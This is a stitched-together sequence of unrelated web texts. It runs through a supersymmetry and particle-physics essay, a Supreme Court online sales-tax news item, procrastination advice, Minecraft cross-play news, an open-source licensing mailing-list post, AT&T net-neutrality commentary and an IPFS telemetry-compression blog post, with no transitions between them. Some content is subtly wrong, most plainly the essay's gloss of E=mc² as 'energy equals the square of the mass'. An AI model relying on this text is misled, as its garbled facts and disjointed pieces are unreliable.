Supersymmetry is an idea that connects particles of different spins: it says they are different aspects of the same underlying object. Importantly, the large quantum fluctuations of particle-antiparticle pairs that affect the Higgs boson make the Higgs lighter if the spin of the antiparticle is an odd number multiple of an electron’s spin, or heavier if the spin of the antiparticle is an even number multiple of an electron’s spin. What this means is that supersymmetry can balance the quantum effects on the mass of the Higgs boson like a see-saw. On one side sit all of the odd-number spin particles, exactly balanced against the other side with the even-number spin particles. The overall effect is that the see-saw doesn’t move, and the Higgs boson experiences no huge quantum influences on its mass.

A major consequence of supersymmetry is that every particle we know about should have a copy (a ‘superpartner’) with exactly the same properties – except for two things. One, its spin should differ by one unit. And two, the superpartner should be heavier. The mass of the superpartner is not fixed, but the heavier one makes them, the less exact the cancellation between the particle and its superpartner, and the more you have to rely on the mass of the particle itself being fine-tuned. One can make superpartners have a mass of around 1,000 times that of a proton, and they still function reasonably well. But increase the mass by a factor of 10 and the theory goes back to looking quite unnatural.

By smashing protons together, the LHC should be able to produce these superpartners, provided they weigh around 1,000 times the mass of a proton. To do this, you change the energy of the proton beams into the mass of the predicted superpartners, via Einstein’s equation of special relativity: E=mc² (energy equals the square of the mass). Each collision is a quantum process, however, which means it’s inherently random and you can’t predict exactly what will happen. But using the correct theory, you can calculate the relative probabilities of various outcomes. By measuring billions upon billions of collisions, you can then check the theory’s predictions against the relative frequencies of particles that are created.

As you can already tell, finding out what happens at the point of the protons colliding involves a lot of detective work. In this case, you try to check how often supersymmetric particles are produced by watching them decay into more ordinary particles. The positions of these byproducts are measured by huge detectors, machines placed around crossing points in the counter-rotating beams of the LHC that act like enormous three-dimensional cameras.

The signature of supersymmetric particles was meant to be the production of a heavy invisible particle, which could sneak through the detector like a thief, leaving no trace. These very weakly interacting particles are candidates for the origin of dark matter in the universe; the strange, invisible stuff that we know from cosmological measurement should be about four times more prevalent than ordinary matter. The red flag for their presence was meant to be theft of momentum from a collision, meaning that the momentum before and after the collision doesn’t balance.

My colleagues and I watched the LHC closely for such tell-tale signs of superpartners. None have been found. We started to ask whether we might have missed them somehow. Perhaps some of the particles being produced were too low in energy for the collisions to be observed. Or perhaps we were wrong about dark matter particles – maybe there was some other, unstable type of particle. 

In the end, these ideas weren’t really a ‘get-out-of-jail-free’ card. Using various experimental analysis techniques, they were also hunted out and falsified. Another possibility was that the superpartners were a bit heavier than expected; so perhaps the mass of the Higgs boson did have some cancellation in it (one part in a few hundred, say). But as the data rolled in and the beam energy of the LHC was ramped up, supersymmetry became more and more squeezed as a solution to the Higgs boson naturalness problem.

The bleakest sign is that the naturalness problem isn’t confined to the Higgs boson

The trouble is that it’s not clear when to give up on supersymmetry. True, as more data arrives from the LHC with no sign of superpartners, the heavier they would have to be if they existed, and the less they solve the problem. But there’s no obvious point at which one says ‘ah well, that’s it – now supersymmetry is dead’. Everyone has their own biased point in time at which they stop believing, at least enough to stop working on it. The LHC is still going and there’s still plenty of effort going into the search for superpartners, but many of my colleagues have moved on to new research topics. For the first 20 years of my scientific career, I cut my teeth on figuring out ways to detect the presence of superpartners in LHC data. Now I’ve all but dropped it as a research topic. 

It could be that we got the wrong end of the stick with how we frame the puzzle of the Higgs boson. Perhaps we’re missing something from the mathematical framework with which we calculate its mass. Researchers have worked along these lines and so far come up with nothing, but that doesn’t mean there’s no solution. Another suspicion relates to the fact that the hypothesis of heavy particles relies on arguments based on a quantum theory of gravity – and such a theory has not yet been verified, although there are mathematically consistent constructions.

Perhaps the bleakest sign of a flaw in present approaches to particle physics is that the naturalness problem isn’t confined to the Higgs boson. Calculations tell us that the energy of empty space (inferred from cosmological measurements to be tiny) should be huge. This would make the outer reaches of the universe decelerate away from us, when in fact observations of certain distant supernovae suggest that the outer reaches of our universe are accelerating. Supersymmetry doesn’t fix this conflict. Many of us began to suspect that whatever solved this more difficult issue with the universe’s vacuum energy would solve the other, milder one concerning the mass of the Higgs.

All these challenges arise because of physics’ adherence to reductive unification. Admittedly, the method has a distinguished pedigree. During my PhD and early career in the 1990s, it was all the rage among theorists, and the fiendishly complex mathematics of string theory was its apogee. But none of our top-down efforts seem to be yielding fruit. One of the difficulties of trying to get at underlying principles is that it requires us to make a lot of theoretical presuppositions, any one of which could end up being wrong. We were hoping by this stage to have measured the mass of some superpartners, which would have given us some data on which to pin our assumptions. But we haven’t found anything to measure.  

This doesn’t mean we need to give up on the unification paradigm. It just means that incrementalism is to be preferred to absolutism

Instead, many of us have switched from the old top-down style of working to a more humble, bottom-up approach. Instead of trying to drill down to the bedrock by coming up with a grand theory and testing it, now we’re just looking for any hints in the experimental data, and working bit by bit from there. If some measurement disagrees with the Standard Model’s predictions, we add an interacting particle with the right properties to explain it. Then we look at whether it’s consistent with all the other data. Finally, we ask how the particle and its interactions can be observed in the future, and how experiments should sieve the data in order to be able to test it.

The bottom-up method is much less ambitious than the top-down kind, but it has two advantages: it makes fewer assumptions about theory, and it’s tightly tethered to data. This doesn’t mean we need to give up on the old unification paradigm, it just suggests that we shouldn’t be so arrogant as to think we can unify physics right now, in a single step. It means incrementalism is to be preferred to absolutism – and that we should use empirical data to check and steer us at each instance, rather than making grand claims that come crashing down when they’re finally confronted with experiment.

A test case for the bottom-up methodology is the bottom meson, a composite particle made of something called a bottom quark and another known as a lighter quark. Bottom mesons appear to be decaying with the ‘wrong’ probabilities. Experiments in the LHC have measured billions of such decays, and it seems that the probability of getting a muon pair from particular interactions is about three-quarters of the probability of what the Standard Model says it should be. We can’t be totally sure yet that this effect is in strong disagreement with the Standard Model – more data is being analysed to make sure that the result is not due to statistics, or some subtle systematic error. 

Some of us are busy speculating on what these findings might mean. Excitations of two different types of new, unobserved, exotic particles – known as Z-primes and leptoquarks, each buried deep within the bottom mesons – could be responsible for the bottom mesons misbehaving. However, the trouble is that one doesn’t know which (if either) type of particle is responsible. In order to check, ideally we’d produce them in LHC collisions and detect their decay products (these decay products should include muons with a certain energy). The LHC has a chance of producing Z-primes or leptoquarks, but it’s possible they’re just too heavy. In that case, one would need to build a higher energy collider: an ambitious plan for a beam of energy of seven times the intensity of the LHC would be a good option.  

In the meantime, my colleagues and I ask: ‘Why should the new particles be there?’ A new mathematical symmetry might be the answer for Z-primes: it requires the Z-prime’s existence to hold. From this symmetry, one then gets additional theoretical constraints, and also some predictions for likely experimental signatures which could be checked with experiments in the future. Often, the bottom mesons are predicted to decay in other ways with some probability – for example, to something called an antimuon-tau. The LHC will be actively analysing their data for such signals in the future.

We began with an experimental signature (the particular bottom meson decays that disagree with Standard Model predictions), then we tried to ‘bung in’ a new hypothesised particle to explain it. Its predictions must be compared with current data to check that the explanation is still viable. Then we started building an additional theoretical structure that predicted the existence of the particle, as well as its interactions. This theory will allow us to make predictions for future measurements of decays, as well as search for the direct production of the new particle at the LHC. Only after any hints from these measurements and searches have been taken into account, and the models tweaked, might we want to embed the model in a larger, more unified theoretical structure. This may drive us progressively on the unification road, rather than attempting to jump to it in one almighty leap. 

Bloomberg | Quint is a multiplatform, Indian business and financial news company. We combine Bloomberg’s global leadership in business and financial news and data, with Quintillion Media’s deep expertise in the Indian market and digital news delivery, to provide high quality business news, insights and trends for India’s sophisticated audiences.

The U.S. Supreme Court freed states and local governments to start collecting billions of dollars in sales taxes from internet retailers that don’t currently charge tax to their customers.

Siding with states and traditional retailers on a 5-4 vote, the court overturned a 1992 ruling that had made much of the internet a tax-free zone. That decision had shielded retailers from tax-collection duties if they didn’t have a physical presence in a state.

Writing for the court, Justice Anthony Kennedy said the 1992 ruling, which involved catalog sales, was "unsound" and obsolete in the e-commerce era.

Broader taxing power will let state and local governments collect an extra $8 billion to $23 billion a year, according to various estimates. All but five states impose sales taxes.

Wayfair Inc. plunged as much as 9.5 percent on the news, and was down 7.5 percent to $107.45 at 10:20 a.m. in New York trading. Amazon.com Inc. dropped as much as 1.7 percent to $1,720.77; EBay Inc. dropped as much as 1.5 percent and Etsy Inc. fell as much as 4 percent.

The ruling will put new pressure on those companies and other internet retailers and marketplaces that don’t always collect taxes -- including Overstock.com Inc., Newegg Inc. and thousands of smaller merchants. Overstock.com lost as much as 3.5 percent; while 1-800 Flowers.com Inc. dropped as much as 1.1 percent and online educational service Chegg Inc. dropped as much as 7.8 percent.

It will also affect Amazon, though the biggest online retailer wasn’t involved in the case. Amazon charges consumers in states that impose a sales tax, but only when selling products from its own inventory. About half its sales involve goods owned by third-party merchants, many of which don’t collect tax.

The court upheld a South Dakota law that requires retailers with more than $100,000 in sales or 200 transactions annually in the state to pay a 4.5 percent tax on purchases.

— With assistance by Alexa N Green

(Updates to describe impact starting in fourth paragraph.)

Okay, tell me more

"Expectancy" is your belief in the outcome of the task you're avoiding. Expectancy can be either too high (overconfidence) or too low.

It looks like you have low expectancy for this task. Maybe you’re discouraged because it didn’t go well in the past. Low expectancy is especially pernicious in areas where rejections are inevitable in the beginning. Think sales jobs, or job hunting. Once you’ve had a few rejections, it’s easy to start believing that the goal isn’t achievable. Every rejection, every unanswered email after that only reinforces this belief.

And because you expect the task to fail, you postpone sending out more applications, or calling more prospects.

This goes hand in hand with learned helplessness, which occurs when prior experiences convince you that you have no power to change a situation. To give an example, that’s how elephants are trained. When a elephant is a baby, the trainer ties it to a pole with a rope. The baby elephant strains to break loose, but it’s not strong enough to break the rope.

And it eventually gives up.

As it grows up, into its full strength as an adult elephant, it's still tied up with the same rope. If the elephant tries to break free at this point, the rope, or several such ropes, would not suffice to contain it. But the elephant doesn’t try to break free. In its head, it believes that the rope cannot be broken. More reading on learned helplessness.

Humans behave very much like the elephant. It’s frighteningly easy to sink into this state of mind, especially after a few disappointments.

In order to increase your motivation to do this task, we’re going to have to increase your expectancy, that is, your belief that you can successfully complete the task.

How do I fix this?

Each card below has a strategy. You can’t apply them all, but choose a few that you can try immediately. And get back to work and see if it works.

The Nintendo Switch version of Minecraft is getting a big update today, bringing the Bedrock Engine to Nintendo’s portable console. The update enables cross-play with PC, Xbox One, and smartphones — but notably not the PlayStation 4. Sony is blocking cross-play for Fortnite, Rocket League, and Minecraft so PS4 players can’t play against Xbox One or Nintendo Switch owners. Meanwhile, Nintendo and Microsoft are partnering to utilize cross-play as a marketing weapon today.

The Minecraft cross-play trailer specifically focuses on the Xbox One and Nintendo Switch being able to play together. It also includes the rare sight of an Xbox One controller in a Switch commercial. If that’s not enough of a partnership, the ad even encourages players to create, explore, and survive together in Minecraft on Xbox One and Nintendo Switch.

It’s clear that Nintendo and Microsoft have signed a marketing deal to highlight cross-play for Minecraft, a game that Microsoft publishes itself. It’s unusual to see such a partnership between console rivals, and it once again leaves Sony as the odd one out that’s refusing to enable cross-play between consoles and staying silent.

Fortnite fans still aren’t happy that Sony is effectively holding their accounts hostage over its cross-play block, and the company has only issued a weak response to the controversy. It’s clear that Microsoft and Nintendo see the advantages of cross-play, and they’re more than happy to use it as marketing leverage.

[Changing the subject line back for those who'd like to ignore tools
discussion or vice-versa]

The software industry has a completely different economic and technological
infrastructure than it did when OSI was founded and when most of these
licenses were written. Every other software licensing agreement in the
industry has changed radically since the mid-2000s as a result. It is not
healthy that the OSI's license selection (and possibly the OSD) have not
followed suit. Frankly, I think a lot of the "post open source
<http://lu.is/blog/2013/01/27/taking-post-open-source-seriously-as-a-statement-about-copyright-law/>"
thing is really "open source licenses are nearly completely unresponsive to
the software industry as it actually exists in the year 2018".

I'm pretty sure that, contra Bruce, it isn't OSI's position that open
source needs to stay forever trapped in amber, but a reasonable outside
observer (like Kyle!) could certainly conclude otherwise.

Luis

P.S. To respond to the claim that licensing improvements are no longer
possible, significant input that MPL 2.0 responded to in various subtle but
important ways:

   - various cases around the covenant / condition difference (thanks in
   part to members of this list)
   - then-state-of-the-art changes in Javascript compilation (shouldn't be
   any unexpected surprises there, unlike the case for some licenses)
   - vast improvements in readability to reflect the broadening base of
   open source developers who lack legal expertise
   - GPL v3-style termination
   - explicit permission for additional disclaimers (has proven very useful
   in the medical space)
   - patent termination that reflected the actual mechanisms by which
   patents were being granted to open source communities (which, IMHO, we'd
   all be better off if Apache and FSF adopted)

And that's just off the top of my head, in a license that had as a
deliberate design goal not rocking the boat.

Changes since then that even a fairly conservative new license might
consider responding to:

   - What does a network services license look like in a microservices
   world? what about serverless? what about a Javascript-dominated world?
   - How should notice requirements respond to state-of-the-art in app
   stores, package managers, GitHub, SPDX, and general trend towards
   "WTFPL"-attitude in next-generation open source development? (What current
   licenses *say*, and what all these *do*, are often at odds in ways that
   would be very profitable for a determined troll.)
   - How should drafting respond to license wizards, CC-style
   human-readable licenses, and other attempts to make licensing "easy"?

A bolder new license might consider:

   - What does an economically viable open source look like?
   - How do you get Facebook, Amazon, Google, Twitter, etc., on board with
   a network services copyleft? When you talk to people at these places, many
   of them would like to prevent free-riding by their competitors, and would
   look very seriously at a network copyleft that was perceived to be
   pragmatic. The vast, gaping hole in this area is a damning condemnation of
   our work as an open legal community.
   - How should we think about our role as an extra-institutional legal
   system? Eben and Richard took some good steps there by documenting
   everything (in recognition of the quasi-constitutional nature of the
   license) but I think there's a lot of potential to explore here.


On Tue, Jun 19, 2018 at 7:28 PM Bruce Perens <bruce at perens.com> wrote:> OK, so not just whether it passes the OSD but whether it provides any> unique value, too.>> Sure we need new licenses for new case law. But how many of the licenses> submitted actually *were *an attempt to catch up with new case law? There> hasn't been much other than GPL3.>>     Thanks>>     Bruce>> On Tue, Jun 19, 2018 at 7:18 PM, Allison Randal <allison at opensource.org>> wrote:>>> Hi Bruce,>>>> I'm a firm supporter of the license proliferation position that the OSI>> adopted over a decade ago, and we do continue to consider whether a new>> license is offering unique value.>>>> But, I consider it highly unlikely that we have such a perfect set of>> open source license versions today that we'll never need to change them.>> Especially since the law that open source licenses are built on keeps>> changing, so over time open source licenses will need to evolve to cope>> with a legal environment that the current licenses couldn't anticipate.>>>> Allison>>>> On 06/19/2018 06:02 PM, Bruce Perens wrote:>>> Allison,>>>>>> The biggest problem here is not that OSI is slow to approve licenses,>>> that they provide insufficient feedback, or that they are using the>>> wrong software.>>>>>> It's a greater problem that OSI continues to approve licenses on a>>> regular basis, twenty years after the process started.>>>>>> There aren't that many actually useful variations on the licenses that>>> actually pass the OSD. There are actually only three useful licenses, a>>> gift-style, a sharing-with-rules-style, and something in between. Given>>> Affero and GPL3 terms on those three, essentially all purposes for Open>>> Source can be carried out. All else is embellishment.>>>>>> What we are seeing now are licenses that satisfy a particular attorney.>>> These are often introduced as being necessary for the specific needs of>>> the venue (Europe, for example) or a particular organization (NASA,>>> focusing on restrictions on the public domain). It's arguable that these>>> licenses are more useful than existing well-tested ones, even for those>>> organizations. For example, I don't see how NASA can /really /benefit>>> from imposing terms upon public-domain works or making itself a>>> secondary beneficiary of licenses executed by others.>>>>>> The license reviewers aren't waiting to be surprised by some worthy>>> innovation in Open Source licensing. No such thing is coming by. They>>> are mainly working to make sure that OSI understands when a license>>> should be rejected, and why.>>>>>> If OSI were to conclude that licenses, at this point, should be approved>>> only when there are /compelling /reasons to do so, the community would>>> benefit.>>>>>>     Thanks>>>>>>     Bruce>>>>>>>>> _______________________________________________>>> License-review mailing list>>> License-review at lists.opensource.org>>>>>http://lists.opensource.org/mailman/listinfo/license-review_lists.opensource.org>>>>>>> _______________________________________________>> License-review mailing list>>License-review at lists.opensource.org>>>>http://lists.opensource.org/mailman/listinfo/license-review_lists.opensource.org>>>>>> --> Bruce Perens K6BP - CEO, Legal Engineering> Standards committee chair, license review committee member, co-founder,> Open Source Initiative> President, Open Research Institute; Board Member, Fashion Freedom> Initiative.> _______________________________________________> License-review mailing list>License-review at lists.opensource.org>>http://lists.opensource.org/mailman/listinfo/license-review_lists.opensource.org>-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.opensource.org/pipermail/license-review_lists.opensource.org/attachments/20180619/6428a489/attachment.html>

This truly is, as they say, why we can't have nice things.

In the wake of the FCC's ham-fisted net neutrality repeal, more than half the states in the country are now exploring their own, state-level net neutrality protections. California's proposal, Senator Scott Weiner's SB 822, was seen as particularly promising in that it went even farther on some important issues than the 2015 FCC rules it was intended to replace. The EFF went so far as to call California's proposal the "gold standard" for state-level net neutrality laws, noting it did a better job policing many of the problem areas where modern anti-competitive behavior occurs, such as zero rating or interconnection.

You probably saw that AT&T just got done spending $86 billion to acquire Time Warner. The company harbors dreams of using its combined dominance over broadband and media content to anti-competitive advantage, something that's undeniable if you've watched AT&T do business for any particular length of time.

Since California's law would have severely hampered AT&T's dreams of dominating the streaming video and ad wars to come, the company got right to work derailing California's legislative push in its usually-underhanded way. The company managed to convince California Assemblyman Miguel Santiago to introduce a series of last-minute secretive Tuesday night amendments that were then voted on without debateduring a Wednesday morning hearing:

"The committee, lead by Assemblyman Miguel Santiago, D-Los Angeles, issued amendments to the bill late Tuesday night. Among its recommendations were to permit a controversial internet service provider practice called “zero rating,” where some websites and apps don’t count against a consumer’s data allotment. Opponents view zero rating as a backdoor way of discriminating against online services that don’t strike free-data deals with broadband and wireless companies."

In the early days of net neutrality, ISPs like AT&T engaged in more ham-fisted and non-transparent abuse of their broadband monopolies. Like the time AT&T blocked Facetime from working unless users upgraded to more expensive data plans, or the time Comcast throttled all upstream BitTorrent traffic then repeatedly lied about it.

As people got smarter to what ISPs were up to, ISPs began getting more nefariously clever. Like the time ISPs let their peering and interconnection points intentionally congest to kill settlement-free peering and drive up costs for companies like Netflix, slowing down Netflix streams for everyone until the company paid up. Or the way that ISPs now impose arbitrary and unnecessary usage caps, then exclude their own streaming services from them while still penalizing competitors (aka zero rating), something it took years for the last FCC to finally realize was just as anti-competitive.

Fast forward to this week. To convince lawmakers to back off the restrictions on zero rating, AT&T first employed the use of a group dubbed CALinnovates, one of numerous groups AT&T covertly funds to pee in the discourse pool. CALinnovates then circulated an incredibly misleading study among lawmakers falsely claiming that AT&T's anti-competitive use of usage caps is a huge boon to the state's minority populations (err, false). AT&T then got state lawmakers to approve of a list of major amendments Tuesday evening that would cripple the most important parts of the bill.

Specifically, AT&T convinced Santiago to strip away all rules governing zero rating, all guidance preventing interconnection shenanigans, as well as a rule that would have prevented ISPs from charging other companies "access fees" if they want to reach AT&T customers. Santiago's office refused any and all contact from reporters (myself included) on Tuesday night, then quickly rushed those amendments through the voting process before they could even be debated. Disgusted by the railroading, Weiner ultimately pulled his bill entirely, arguing that it no longer adequately protected consumers:

"It is no longer a net neutrality bill,” a visibly frustrated Wiener said after the vote. In an unusual move, the committee voted on the bill before Wiener was given a chance to testify. “I will state for the record ... I think it was fundamentally unfair,” he said.

Net neutrality activism groups like Fight for the Future were notably less subtle in their own statements:

"The level of corruption we just witnessed literally makes me sick to my stomach,” said Evan Greer, deputy director of Fight for the Future, a digital rights group with more than 350,000 members in California. "These California democrats will go down in history as among the worst corporate shills that have ever held elected office.Californians should rise up and demand that at their Assembly members represent them. The actions of this committee today are an attack not just on net neutrality, but on our democracy."

If you've watched AT&T do business, the fact that it was able to scuttle this bill in such a "progressive" state shouldn't be surprising. AT&T's political power over many state legislatures is often downright comical, to the point where AT&T lawyers are quite literally the ones writing terrible state law. That's particularly true in states like Tennessee, though in ignoring the undeniable will of the public on this subject, California has proven itself no better.

All told it has been a great year and a greater few weeks if your name is AT&T. Net neutrality formally died on June 11, the company's latest megamerger was approved thanks to a comically narrow understanding of the markets by a Federal Judge, and it managed to scuttle state-level net neutrality in California, purportedly a stronghold for net neutrality activism. This on the heels of successful efforts to neuter FCC oversight of historically unpopular and anti-competitive incumbent ISPs. What could possibly go wrong?

You have large quantities of telemetry or other simply structured JSON data. You want to store it on IPFS in a very space efficient way. Then this is for you.

Telemetry at GSOC

I have been working with large quantities of telemetry at my previous job at Heavens-Above GmbH, working for the German Space Operations Center. I was writing a system to store and make accessible telemetry for several satellite missions.

The most demanding mission in terms of data rate was the Columbus module of the International Space Station.

A big advantage of the solution we came up with is that it is able to store vast quantities of telemetry data on relatively modest hardware. For the columbus module, we stored on the order of 4 * 10¹² telemetry samples on a single decent machine with a RAID-5 system.

This system is not a relational database that allows generic queries, but it does allow very efficient retrieval by telemetry parameter name and by time period.

We achieved this level of efficiency by storing the telemetry in an efficient binary format based on google protocol buffers, and then using generic deflate compression in a way that still allows somewhat random access.

A limitation of the solution developed for GSOC was that it was schema-based, so there was a tight coupling between the storage engine and the application level data formats. But since telemetry schemata for systems like SCOS don't change frequently, this is not a big limitation.

Telemetry at Actyx

At my current employer Actyx AG, we are also working with vast quantities of machine data, but now we are dealing with telemetry for manufacturing processes.

We are using IPFS as the core infrastructure for all our solutions.

So we need a solution to store machine telemetry in an efficient way on IPFS. But there is an incredible variety of manufacturing machines and processes with vastly different telemetry formats, so a tight coupling between storage engine and application data formats won't do in this case.

As an additional complication, we want to be able to write telemetry not just on beefy servers, but on relatively underpowered edge devices.

As strange as it sounds, the hardware I have to design for at Actyx in 2018 (ARM based edge devices) is actually slower than the hardware I had at GSOC in 2010 (Multi core XEON blade servers).

2008

2018

What is telemetry data

First of all, let's take a look at how telemetry data is typically structured.

In the simplest case, a telemetry sample consists of a time and a value. In more complex cases, you have several different values and/or some status fields that indicate the status of the sample and individual subvalues. Some of these additional fields might be optional.

But in all cases the structure of a single telemetry measurement is relatively simple.

What makes handling telemetry demanding is the vast quantities of data you have to store and process. A single sensor measuring at a relatively modest rate of one per second will produce 86 400 samples per day, 31 536 000 samples per year. And on a spacecraft you might have 10000 or more different sensors, some of which might be sampled at much higher rates than 1 Hz.

You also can't throw away or summarize any of this data. This is not a click stream where losing a few samples is not a big deal. In case of an anomaly, you want to be able to investigate every single sample at the time at and before the anomaly.

Sometimes even the milliseconds of the timestamps of samples at the time before an anomaly can tell you something interesting.

If you would have the ability to process the data in the cloud, an obvious solution would be to throw hardware at the problem. But if you want to store the data on edge devices where it is gathered, this is not an option.

Compression is understanding

Another reason why I dislike just throwing hardware at the problem is that I think compression is understanding. You can only compress data well if you understand it.

Having the data available in a highly compressed way makes the job easier for every downstream system (analysis, backup, transmission, ...).

If your data is highly compressed, it can effortlessly be copied to where you perform computations on it, even if your edge device is connected via an intermittent GSM connection. And of course you can replicate it in many different places, making the chances of losing data astronomically small.

What is good compression

There is a theoretical limit on how well you can compress sensor data. Sensor data typically contains some sensor noise for both the value and the timestamp. You obviously can not compress better than that theoretical limit, but if you get within a factor of 2 of it you are probably doing pretty well.

Columnar storage

A first insight when working with large quantities of telemetry is that there is significant redundancy between subsequent values. E.g. a temperature or pressure reading of a sensor typically does not change very much from one second to the next, except if you have a really bad day.

This insight is not revolutionary. In fact, there are several systems that exploit this to offer highly compressed data storage for analysis workloads:

Vanilla postgres with columnar storage engine, open source, hosted service

Customized postgres with columnar storage, only hosted

"Clustered ColumnStore Indices"

But none of them works on a raspberry pi, and none of them stores in a location-transparent way on IPFS.

Simple transpose

So assuming you have a large number of telemetry samples in JSON format. The simplest thing you can do to improve the serialized representation is to transpose an array of records to a record of arrays:

Array of records (uniform type)

[{"time":1523565937887,"value":0.1},{"time":1523565938890,"value":0.2},{"time":1523565939895,"value":0.15},{"time":1523565940896,"value":0.25},{"time":1523565941896,"value":0.21}]

Record of arrays

{time:[1523565937887,1523565938890,1523565939895,1523565940896,1523565941896],value:[0.1,0.2,0.15,0.25,0.21]}

There are several projects that do this. See for example JSON compression - transpose and binary.

But this most basic approach only works if we have exactly the same values in each sample. As we have seen this is not the case for some satellite telemetry samples such as SCOS samples.

Ideally we should be able to deal with arbitrary json samples.

Heterogenous records

So how do we deal with optional fields or, more generically, heterogenous records, like you might see in an event sourcing application?

Here we have an array of records of different types. The type field is always present, but w and h are only present for rectangle records whereas r is only present for circle records.

Array of heterogenous records

[{type:'circle',r:10}{type:'rectangle',w:3,h:4},{type:'rectangle',w:10,h:10}]

One way to deal with this would be to have some sort of guard value for when a value is not present. But that would be very inefficient if a value is absent very often (essentially a sparse matrix)

Another way is to store two arrays per field, one that has the value of the field, and another that stores the index at which each field is present.

{type:[[0,1,2],['circle','rectangle','rectangle']],r:[[0],[10]],w:[[1,2],[3,10]],h:[[1,2],[4,10]]}

In the very common case of uniform records, this looks like it is making things much worse. We now store two arrays instead of one. So we will need to have a way to get rid of this duplication later.

Nested records

What we have now is the ability to transform an array of flat records with arbitrary fields. But telemetry samples frequently contain nested records. For example, a SCOS sample contains different subvalues, each of which has a value and a status.

And in any case, our goal is to be able to handle arbitrary json data. If a nested record is the natural way to represent a telemetry sample, we should not have to flatten it to store it.

So here is a tiny example of a number of nested records.

[{type:'start',pos:{lat:10,lon:10}},{type:'pause',pos:'na'},{type:'stop',pos:{lat:20,lon:0}}]

To store this, at every level of our index structure we can either have values (index array and value array, as described above), or named children to be able to store nested records.

{children:{type:{values:[[0,1,2],['start','pause','stop']]},pos:{values:[[1],['na']],children:{lat:{values:[[0,2],[10,20]]},lon:{values:[[0,2],[10,0]]}}}}}

So now we have managed to blow up our tiny sample of nested records to a much larger and more complex structure. Wasn't the idea to improve compression?

Binary encoding with CBOR

One thing that is immediately obvious is that JSON is not a very efficient storage format for many kinds of data, especially numeric data. E.g. the number 100 can be encoded as a single byte, which is a factor of three improvement. For strings the improvement is not as drastic, but still significant.

An encoding format that is binary and schemaless is CBOR. It stands for Concise Binary Object Representation. The fact that the author of the format is called Carsten Bormann is a mere coincidence.

IPFS is using CBOR as serialized format, so whenever you add JSON to ipfs using the ipfs dag API, it is actually stored as more efficient CBOR.

So CBOR seems like a good choice for binary encoding.

As described above, the index and value arrays for an individual field can be expected to be of the same type most of the time, and also to have significant redundancy. So we don't encode the entire structure, but the individual index and value arrays.

CBOR encoders and decoders exist for many languages, so doing this is just a matter of picking and using an existing library.

Compression

Now that we have the individual index and value arrays in a nice and compact CBOR binary representation, we can compress them with a generic compression algorithm such as deflate.

Our index arrays always contain just typically small integers, so both CBOR encoding and the subsequent compression can be expected to work well. The same is true for the value arrays.

Since IPFS does content addressing using cryptographically safe hashes, we can use raw deflate without gzip header and CRC-32 checksum. This saves a few bytes, which can be significant for very small arrays.

Enum compression

For the type field for a discriminated union, we can expect a very high level of compression. An entire, possibly long, string is used, but what is actually needed is just a small integer indicating which of the small number of possible string values to use.

Example data

Example event type field data (1000 random elements)

['start','resume','pause',...,'stop']

Results

From the results we can see that CBOR helps a bit, since it stores a single byte length prefix instead of the =".." for JSON, so we gain two bytes for each string. But the real gain comes from deflate compression, which reduces the storage requirements for each value to less than 4 bits.

Sensor data compression

Numerical sensor data is another case where we can expect large gains due to binary encoding and subsequent compression.

Example data

As example data we use temperature measurements in Kelvin, that fluctuate around room temperature (293 K), with some sensor noise.

[293.046,293.054,293.158,293.08,...293.024]

Results

In this case, the CBOR encoding actually makes things worse. Each sample value with a fractional component is encoded as an IEEE double with prefix, so 9 bytes, whereas the decimal textual representation is actually smaller.

But the compression step reduces the size per sample to just over 2 bytes. For a larger sample array we could expect even better compression, limited of course by the amount of sensor noise, which is more than 8 bits in this case.

Index and timestamp sequence compression

The last type of data we have to deal with in typical telemetry data is sequences of timestamps. Sequences of timestamps are almost always monotoneously increasing, and very frequently increasing by a roughly constant amount from one sample to the next.

In addition to timestamp data, we have the index sequences which we use to deal with sparse fields. These are always integers, always strictly monotoneously increasing, and very frequently increasing by a constant amount of 1.

A third example for monotoneously increasing numerical values are counters.

Given how frequent roughly linearly increasing sequences are, it it useful to perform an additional transformation on such data before binary encoding and compressing them.

Delta encoding for linear sequences

The transformation is extremely simple. Instead of storing N numerical values, we store an initial value and N-1 deltas d_i = x_i+1 - x_i. A completely regular linear sequence will be transformed into a constant sequence, which of course compresses extremely well.

becomes

More interesting is the case of a sequence of timestamps. Timestamps typically have some jitter, since the timer does not fire at exactly regular intervals. But even in this case, the delta compression is a huge win, since regular compression algorithms such as deflate have difficulties "seeing the pattern" without delta compression.

Example data

As example data, I have chosen an array of unix timestamp values generated by running a repeating timer on my development machine. The increase is roughly regular, but not entirely, due to timer imprecison or load on the machine.

[1523565937887,1523565938890,1523565939895,1523565940896,1523565941896]

Becomes

{reference:1523565937887,deltas:[1003,1005,1001,1000]}

Obviously, both CBOR encoding and compression will be improved for the sequence of roughly regular, small deltas.

Results

As you can see from the results, CBOR encoding improves storage efficiency a bit. Every value is stored as a long integer. Normal deflate reduces the size to 3.5 bytes per sample, but given how regular the data is this is not very good.

The delta encoding before deflate allows the deflate algorithm to see the regularity, improving the compression to less than a byte per sample.

When to choose delta encoding

It is probably possible to come up with a good heuristic on when to use delta compression. But what I do is to just try both normal and delta compression whenever compressing an array containing just numerical values, and choose whatever approach yields better compression.

Index sequences always benefit from delta compression, so for those I force using delta compression.

Sequences containing non-numerical values or NaN can not be delta-compressed at all.

Noop compression

In some cases (completely random data or very small arrays), compression has no benefit at all. In these cases I use noop compression.

Storage on IPFS and deduplication

As the last step, each compressed index or value array is stored separately in IPFS as an IPLD DAG object.

This has several benefits. In the long term, it is possible to filter fields by name before reconstructing an object from IPFS, which will make certain analytical queries very efficient.

But the most immediate benefit is that IPFS content adressed storage will of course deduplicate arrays that occur multiple times. This sometimes happens for value arrays, but almost always happens for index arrays.

Taking for example this transformed data:

{children:{type:{values:[[0,1,2],['start','pause','stop']]},pos:{values:[[1],['na']],children:{lat:{values:[[0,2],[10,20]]},lon:{values:[[0,2],[10,0]]}}}}}

The index array [0,2] occurs two times and will be deduplicated when storing in IPFS. The benefit of this is not as high as it might seem, since index arrays already compress very well due to delta compression. But there are certain cases where the deduplication can be very beneficial, and it comes for free anyway with a content-addressed storage system such as IPFS.

Overall results

To evaluate the overall efficiency, I generated some data that closely mimics typical telemetry, but has a known amount of noise which gives an optimum compression ratio for comparison. The samples contain a certain amount of unchanging data such as tags to identify the sensor. This is something you frequently see in the wild.

The number of samples is 100000. About one day of data at a sample rate of 1 Hz. Timestamps are stored as numerical unix timestamps.

The results are summarized in this table. All values are in bytes.

As expected, the JSON representation is incredibly inefficient due to the schemaless nature of JSON. The size is dominated by the field names.

